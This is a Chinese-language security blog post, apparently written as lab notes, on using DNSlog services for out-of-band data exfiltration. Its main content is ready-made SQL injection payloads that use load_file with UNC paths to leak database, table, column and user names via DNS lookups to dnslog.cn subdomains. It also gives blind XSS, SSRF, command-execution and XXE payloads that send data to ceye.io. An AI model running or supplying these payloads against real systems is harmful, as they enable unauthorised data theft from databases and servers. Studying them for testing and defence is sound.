DNSlog的应用


0x00 DNSlog 介绍

首先我们知道DNS是起ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件,

0x01 DNSlog回显原理

首先了解一下多级域名的概念,我们知道因特网采用树状结构命名方法,按组织结构划分域是一个名字空间中一个被管理的划分,域可划分为子域,子域再可被划分为多级域名称为一级域名,二级域名,三级域名,从一个域名地址来从右到左依次是顶级域名,二级域名,三级域名,例如 gaobai.kxsy.com,
通俗的说就是我有个域名kxsy.work,我将域名设置对应的ip 2.2.2.2 上,这样当我向dns服务器发起kxsy.work的解析请求时,DNSlog中会记录下他给kxsy.work解析,解析值为2.2.2.2,而我们这个解析的记录的值就是我们要利用的地方,这个过程被记录下来就是DNSlog,

0x02 DNSlog 应用

1.sql布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显可利用NDSlog
2.无回显的命令执行
推荐三个大众化的免费dns解析记录网站

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

0x03 DNSlog回显注入条件

1.数据库root权限,
2.数据库可读写权限,secure_file_priv值为空,上期笔记有说明,
3.windows系统,

0x04 DNSlog -sql注入

1.注册一个dns解析服务,利用唯一标识符,以无回显sql注入为例
利用标识符
2.注入测试

需要闭合语句

替换标识符 利用盲注回显

payload:
查库:?id=1' and if((select load_file(concat('\\\\',(select database()),'.tlyypi.dnslog.cn\\abc'))),1,0)--+

查表:?id=1' and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.4rnf8j.dnslog.cn\\abc')))--+

查字段:?id=1' and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.25tlpv.dnslog.cn\\abc')))--+

查数据:?id=1' and (select load_file(concat('\\\\',(select username from users limit 0,1),'.spi1o9.dnslog.cn\\abc')))--+

我的实验返回数据只能以单个数据回显,

记录到靶场数据库信息
在回显数据时,域名能够接受的字符是有条件限制的,某些不适合作为域名的特殊字符可能会被屏蔽掉,针对这种情况我们也可以base64编码后再进行请求。

0x05 DNSlog 其他应用

1.xss盲打

"<script src=http://XSS.XXXXX.ceye.io></script>"

2.SSRF

"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."

3.命令执行

" ping %PATH%.pxxx.ceye.io ..."

4.XXE
XXE漏洞可以解析外部实体,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://XXXX.ceye.io/%file;'>"
>
%all;

文章作者: 告白
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 告白 !
  目录